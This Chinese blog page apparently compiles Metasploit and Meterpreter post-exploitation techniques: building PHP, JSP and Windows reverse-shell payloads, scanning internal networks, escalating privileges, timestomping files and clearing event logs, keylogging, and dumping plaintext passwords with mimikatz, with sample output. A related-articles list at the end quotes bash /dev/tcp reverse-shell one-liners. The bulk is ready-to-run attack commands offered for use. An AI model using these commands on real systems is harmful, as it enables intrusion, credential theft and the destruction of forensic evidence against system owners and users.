from:https://www.91ri.org/9367.html

Web渗透中的反弹Shell与端口转发

php需未禁用exec函数
一:生成php反弹脚本
msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php

将文件传入shell中,在msf中开一个handler
msf > use multi/handler
msf exploit(handler) > set PAYLOAD php/reverse_php
msf exploit(handler) > set LHOST x.x.x.x
msf exploit(handler) > set LPORT 2333
msf exploit(handler) > exploit

此时访问re.php,即可反弹到本地一个shell

当然,用nc直接监听端口也是可以的
nc -lvv 2333
其他可以考虑使用msf编码变形等,github也有这样一个脚本 https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php 可供参考

JSP
msfpayload java/jsp_shell_reverse_tcp LHOST=x.x.x.x R > re.jsp

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.10.1
msf exploit(handler) > exploit

内网扫描

meterpreter > run autoroute -s 192.168.3.98  自动添加路由表
meterpreter > background
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306
PORTS => 80,8080,21,22,3389,445,1433,3306
msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24
RHOSTS => 192.168.3.1/24
msf auxiliary(tcp) > set THERADS 10
THERADS => 10
msf auxiliary(tcp) > exploit

基本命令:

background  # 让meterpreter处于后台模式
sessions -i number # 与会话进行交互,number表示第n个session
quit # 退出会话
shell # 获得命令行
cat c:\\boot.ini # 查看文件内容
getwd # 查看当前工作目录 work directory
upload /root/Desktop/netcat.exe c:\\ # 上传文件到目标机上
download 0xfa.txt /root/Desktop/ # 下载文件到本机上
edit c:\\boot.ini # 编辑文件
search -d d:\\www -f web.config # search 文件
ps # 查看当前活跃进程
migrate pid # 将Meterpreter会话移植到进程数位pid的进程中
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
getpid # 获取当前进程的pid
kill pid # 杀死进程
getuid # 查看权限
sysinfo # 查看目标机系统信息,如机器名,操作系统等
getsystem #提权操作
timestompc:/a.doc -c "10/27/2015 14:22:11" #修改文件的创建时间

迁移进程

migrate pid

清理痕迹:)

meterpreter > clearev

获取敏感信息(Windows版本 Linux自行选择)

run post/windows/gather/checkvm #是否虚拟机
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run scraper #获取常见信息
#保存在~/.msf4/logs/scripts/scraper/目录下

meterpreter常见脚本

arp_scanner

利用arp进行存活主机扫描

meterpreter > run arp_scanner -r 10.24.20.1/24
[*] ARP Scanning 10.24.20.1/24
[*] IP: 10.24.20.1 MAC 58:6a:b1:b4:a6:02
[*] IP: 10.24.20.7 MAC 00:26:9e:8a:7d:a9
[*] IP: 10.24.20.11 MAC c4:54:44:29:42:df

autoroute

可以添加,删除,显示路由表

checkvm

检测目标是否是虚拟机

meterpreter > run checkvm

[*] Checking if target is a Virtual Machine .....

[*] It appears to be physical host.

credcollect

收集目标主机上的hash等凭证

domain_list_gen

获取域管理账户列表,并判断当前session所在用户是否在列表中

duplicate

再次产生payload,注入到其他进程或打开新进程并注入其中

enum_firefox

获取firefox中的信息,包括cooikie,历史纪录,书签等

enum_chrome

获取chrome中的信息

event_manager

可以查询和清理事件日志

getgui

可以很方便的开启远程桌面服务,添加用户,端口转发功能

meterpreter > run getgui -h
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u <username> -p <password>
Or: getgui -e

OPTIONS:

-e Enable RDP only.
-f <opt> Forward RDP Connection.
-h Help menu.
-p <opt> The Password of the user to add.
-u <opt> The Username of the user to add.

get_local_subnets

获得本地的子网

get_pidgin_creds

获取pidgin配置文件中的用户名和密码

from:http://drops.wooyun.org/tips/9732

from:http://drops.wooyun.org/tips/10146

键盘记录

meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
dir <Return> cd <Ctrl> <LCtrl>
meterpreter > keyscan_stop
Stopping the keystroke sniffer...

获取明文密码

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
==================== meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : Testing
BootKey : 8c2c8d96e92a8ccfc407a1ca48531239 meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { Croxy ; Testing ; hehe }
[1] { test ; Testing ; test }

端口转发

meterpreter > portfwd add -l 1234 -p 3389 -r 10.42.0.54
[*] Local TCP relay created: 0.0.0.0:8081 <-> 10.42.0.54:80
将远程主机3389端口转发到本地1234端口上

msfpayload windows/meterpreter/reverse_tcp LHOST=本机IP LPORT=4444端口 x > /root/Desktop/1.exe

依次输入以下命令 use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_top

set LHOST 本机Ip
exploit

内网渗透中的反弹Shell与端口转发的更多相关文章

  1. 内网渗透中SSh的巧用

    后续应该会做个实例 转自:http://www.myhack58.com/Article/html/3/8/2009/25156.htm 经常遇到如下情形,内部网络主机通过路由器或者安全设备做了访问控 ...

  2. 内网渗透中的mimikatz

    0x00 前言 上篇测试了中间人攻击利用框架bettercap,这次挑选一款更具代表性的工具--mimikatz 0x01 简介 mimikatz,很多人称之为密码抓取神器,但在内网渗透中,远不止这么 ...

  3. 内网渗透中mimikatz的使用

    0x01 简介 mimikatz,很多人称之为密码抓取神器,但在内网渗透中,远不止这么简单 0x02 测试环境 网络资源管理模式: 域 已有资源: 域内一台主机权限 操作系统:win7 x64 域权限 ...

  4. 内网渗透中的NTLM-Hash Relay

    基础知识 NTLN和Net-NTLM 1.NTLM(V1/V2)的hash是存放在安全账户管理(SAM)数据库以及域控的NTDS.dit数据库中,获取该Hash值可以直接进行PtH攻击,我博客中前文也 ...

  5. 反弹shell以及端口转发的方法收集

    Bash bash -i >& /dev/tcp/192.168.1.142/80 0>&1 exec 5<>/dev/tcp/192.168.1.142/80 ...

  6. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  7. metasploit渗透测试笔记(内网渗透篇)

    x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...

  8. Metasploit 内网渗透篇

    0x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. ...

  9. 3.内网渗透之reGeorg+Proxifier

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAxIAAAE2CAIAAAB6BDOVAAAgAElEQVR4Aey9Z5Aex3X327MRGVzkRH ...

随机推荐

  1. SQL Server 按某一字段分组 取 最大 (小)值所在行的数据

    SQL Server 按某一字段分组 取 最大 (小)值所在行的数据 -- 按某一字段分组 取 最大 (小)值所在行的数据 -- (爱新觉罗.毓华(十八年风雨,守得冰山雪莲花开) 2007-10-23 ...

  2. (转)iphone数据存储之-- Core Data的使用

    原文:http://www.cnblogs.com/xiaodao/archive/2012/10/08/2715477.html iphone数据存储之-- Core Data的使用(一)   一. ...

  3. 2016-1-10 手势解锁demo的实现

    一:实现自定义view,在.h,.m文件中代码如下: #import <UIKit/UIKit.h> @class ZLLockView; @protocol ZLLockViewDele ...

  4. 排版字号对应多少pt

    各字号对应多少pt?初号= 42pt: 小初号= 36pt: 一号= 26pt: 二号= 22pt: 小二号= 18pt: 三号= 16pt: 四号= 14pt: 小四号= 12pt: 五号= 10. ...

  5. Python入门(四,高级)

    一,面向对象 面向对象技术简介 类(Class): 用来描述具有相同的属性和方法的对象的集合.它定义了该集合中每个对象所共有的属性和方法.对象是类的实例. 类变量:类变量在整个实例化的对象中是公用的. ...

  6. Ubuntu安装软件提示”需要安装不能信任的软件包”解决办法

    用 Ubuntu 安装输入法软件包时提示"需要安装不能信任的软件包","这个动作需要从没有授权的软件源来安装软件包",赋予权限执行仍然无法安装,上网查了一下,只 ...

  7. HDU 1811

    http://acm.hdu.edu.cn/showproblem.php?pid=1811 中文码题 对于等号的情况,用并查集合并(因为编号不同一定可以分出先后) 然后判断能否构成拓扑排序,以及拓扑 ...

  8. 一个比较完整的Inno Setup 安装脚本

    一个比较完整的Inno Setup 安装脚本,增加了对ini文件设置的功能,一个安装包常用的功能都具备了. [Setup] ; 注: AppId的值为单独标识该应用程序. ; 不要为其他安装程序使用相 ...

  9. 分享25个CSS前端网页设计常用技巧

    1.ul标签在Mozilla中默认是有padding值的,而在IE中只有margin有值.2.同一个的class选择符可以在一个文档中重复出现,而id选择符却只能出现一次;对一个标签同时使用class ...

  10. Oracle执行语句跟踪(2)——使用10046事件实现语句追踪

    接上篇博文Oracle执行语句跟踪(1)--使用sql trace实现语句追踪,一旦我们通过会话追踪获取到超时事物的执行语句,就可以使用10046事件对语句进行追踪. 启用10046事件追踪的方式 S ...